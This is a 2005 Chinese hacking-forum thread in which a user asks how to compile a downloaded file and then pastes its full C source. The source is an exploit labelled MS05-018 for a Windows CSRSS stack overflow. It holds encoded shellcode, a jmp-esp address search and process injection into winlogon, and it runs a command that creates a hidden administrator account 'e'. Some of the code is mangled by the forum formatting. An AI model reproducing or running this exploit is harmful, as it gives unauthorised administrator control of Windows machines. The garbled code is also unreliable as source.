黑色海岸线论坛 - Powered by Discuz! Board

标题: 如何使用.Ｃ文件 [打印本页]

作者: 清情朔月 时间: 2005-9-25 22:09 标题: 如何使用.Ｃ文件

我下载了　CSRSS.c　文件．．拿什么软件编译啊．
ＴＣ编的时候出错的啊

作者: chinanic 时间: 2005-9-26 07:28 标题: 如何使用.Ｃ文件

就用TC打开，出错说明程序有问题！

作者: 天空飞人 时间: 2005-9-27 00:00 标题: 如何使用.Ｃ文件

居然提出这样的问题．．．．

作者: x86 时间: 2005-9-27 00:04 标题: 如何使用.Ｃ文件

把程序贴出来看看撒....

作者: 清情朔月 时间: 2005-9-28 23:25 标题: 如何使用.Ｃ文件

#include #include #include #pragma comment (lib,"Advapi32.lib") typedef struct _CONSOLE_STATE_INFO { /* 0x00 */ DWORD cbSize; /* 0x04 */ COORD ScreenBufferSize; /* 0x08 */ COORD WindowSize; /* 0x0c */ POINT WindowPosition; /* 0x14 */ COORD FontSize; /* 0x18 */ DWORD FontFamily; /* 0x1c */ DWORD FontWeight; /* 0x20 */ WCHAR FaceName[0x200]; } CONSOLE_STATE_INFO, *PCONSOLE_STATE_INFO; typedef struct xxx { DWORDdw[6]; charcmd[0x50]; }address_and_cmd; char decoder[]= "\x8b\xdc" "\xBE\x44\x59\x41\x53\x46\xBF\x44\x59\x34\x53\x47\x43\x39\x33\x75" "\xFB\x83\xC3\x04\x80\x33\x97\x43\x39\x3B\x75\xF8\x45\x59\x41\x53"; //user=e //pass=asd#321 char add_user[]= "\x90\x90\x90\x90\x90\x90\x90\x8D\x7b\x98\xFF\x77\x14\x6A\x00\x68" "\x2A\x04\x00\x00\xFF\x17\x8B\xD8\x6A\x04\x68\x00\x10\x00\x00\x68" "\x00\x01\x00\x00\x6A\x00\x53\xFF\x57\x04\x8B\xF0\x6A\x00\x68\x00" "\x01\x00\x00\x8D\x47\x18\x50\x56\x53\xFF\x57\x08\x33\xC0\x50\x50" "\x56\xFF\x77\x10\x50\x50\x53\xFF\x57\x0C"; char decode_end_sign[]="EY4S"; char sc[0x200]; charszConsoleTitle[256]; DWORD search_jmpesp() { char szDLL[][30] = {"ntdll.dll", "kernel32.dll", "user32.dll", "gdi32.dll", "winsrv.dll", "csrsrv.dll", "basesrv.dll"}; inti,y; BOOLdone; HMODULEh; BYTE*ptr; DWORDaddr=0; for(i=0;i); if(h == NULL) continue; printf("[+] start search \"FF E4\" in %s\n", szDLL); ptr = (BYTE *)h; for(y = 0;!done;y++) { __try { if(ptr[y] == (BYTE)';\xFF'; && ptr[y+1] == (BYTE)';\xE4';) { addr = (int)ptr + y; done = TRUE; printf("[+] found \"FF E4\"(jmp esp) in %X[%s]\n", addr, szDLL); } } __except(EXCEPTION_EXECUTE_HANDLER) { done = TRUE; } } FreeLibrary(h); if(addr) break; } return addr; } BOOL make_shellcode(DWORD dwTargetPid) { HMODULEhKernel32; address_and_cmdaac; inti=0, j=0, size=0; hKernel32 = LoadLibrary("kernel32.dll"); if(!hKernel32) return FALSE; aac.dw[0] = (DWORD)GetProcAddress(hKernel32, "OpenProcess"); aac.dw[1] = (DWORD)GetProcAddress(hKernel32, "VirtualAllocEx"); aac.dw[2] = (DWORD)GetProcAddress(hKernel32, "WriteProcessMemory"); aac.dw[3] = (DWORD)GetProcAddress(hKernel32, "CreateRemoteThread"); aac.dw[4] = (DWORD)GetProcAddress(hKernel32, "WinExec"); aac.dw[5] = dwTargetPid; memset(aac.cmd, 0, sizeof(aac.cmd)); strcpy(aac.cmd, "cmd /c net user e asd#321 /add && net localgroup administrators e /add"); //encode strcpy(sc, decoder); for(i=0;i^=(BYTE)';\x97';; strcat(sc, add_user); for(i=0;i^=(BYTE)';\x97';; size=strlen(sc); memcpy(&sc[size], (char *)&aac, sizeof(aac)); size+=sizeof(aac); sc[size]=';\x0';; strcat(sc, decode_end_sign); return TRUE; } void exploit(HWND hwnd,DWORD dwPid) { HANDLEhFile; LPVOIDlp; inti, index; DWORDdwJMP; CONSOLE_STATE_INFOcsi; memset((void *)&csi, 0, sizeof(csi)); csi.cbSize = sizeof(csi); csi.ScreenBufferSize.X = 0x0050; csi.ScreenBufferSize.Y = 0x012c; csi.WindowSize.X = 0x0050; csi.WindowSize.Y=0x0019; csi.WindowPosition.x = 0x58; csi.WindowPosition.y = 0x58; csi.FontSize.X = 0; csi.FontSize.Y=0xc; csi.FontFamily = 0x36; csi.FontWeight = 0x190; for(i=0;i<0x58;i++) ((char *)csi.FaceName) = ';\x90';; dwJMP = search_jmpesp(); if(!dwJMP) { printf("[-] search FF E4 failed.\n"); return; } memcpy(&((char *)csi.FaceName)[0x58], (char *)&dwJMP, 4); for(i=0;i<0x20;i++) strcat((char *)csi.FaceName, "\x90"); index = strlen((char *)csi.FaceName); if(!make_shellcode(dwPid)) return; memcpy(&((char *)csi.FaceName)[index], (char *)sc, strlen(sc)); hFile = CreateFileMappingW((void *)0xFFFFFFFF,0,4,0,csi.cbSize,0); if(!hFile) { printf("[-] CreateFileMapping failed:%d\n", GetLastError()); return; } printf("[+] CreateFileMapping OK!\n"); lp = MapViewOfFile(hFile, 0x0F001F,0,0,0); if(!lp) { printf("[-] MapViewOfFile failed:%d\n", GetLastError()); return; } printf("[+] MapViewOfFile OK!\n"); //copy memcpy((unsigned short *)lp, (unsigned short *)&csi, csi.cbSize); printf("[+] Send Exploit!\n"); SendMessageW(hwnd,0x4C9,(WPARAM)hFile,0); } void main(int argc, char **argv) { DWORDdwRet; HWNDhwnd = NULL; DWORDdwPid = 0; HANDLE hSnapshot = NULL; PROCESSENTRY32pe; printf( "MS05-018 windows CSRSS.EXE Stack Overflow exp v1.0\n" "Affect: Windows 2000 sp3/sp4 (all language)\n" "Coded by eyas \n" "http://www.xfocus.net\n\n"); if(argc==2) { dwPid = atoi(argv[1]); } else { printf("Usage: %s pid\n\n", argv[0]); hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); pe.dwSize = sizeof(PROCESSENTRY32); Process32First(hSnapshot,&pe); do { if( strcmpi(pe.szExeFile, "WINLOGON.EXE") == 0) { printf("[+] PID=%d Process=%s\n", pe.th32ProcessID, pe.szExeFile); } } while(Process32Next(hSnapshot,&pe)==TRUE); CloseHandle (hSnapshot); } if(!dwPid)return; if(!FreeConsole()) printf("[-] FreeConsole failed:%d\n", GetLastError()); else { printf("[+] FreeConsole ok.\n"); if(!AllocConsole()) printf("[-] AllocConsole failed:%d\n", GetLastError()); else printf("[+] AllocConsole ok.\n"); } dwRet = GetConsoleTitle(szConsoleTitle, sizeof(szConsoleTitle)); if(dwRet) { printf("[+] Get Console Title OK:\"%s\"\n", szConsoleTitle); } else { printf("[-] Get Console Title failed.\n"); return; } hwnd = FindWindow("ConsoleWindowClass",szConsoleTitle); if(hwnd) printf("[+] bingo! found hwnd=%X\n", hwnd); else { printf("[-] can';t found hwnd!\n"); return; } exploit(hwnd, dwPid); printf("[+] Done.\n"); }
作者: 清情朔月 时间: 2005-9-28 23:26 标题: 如何使用.Ｃ文件

MS05-018-CSRSS.c
的

欢迎光临黑色海岸线论坛 (http://bbs.thysea.com/) Powered by Discuz! 7.2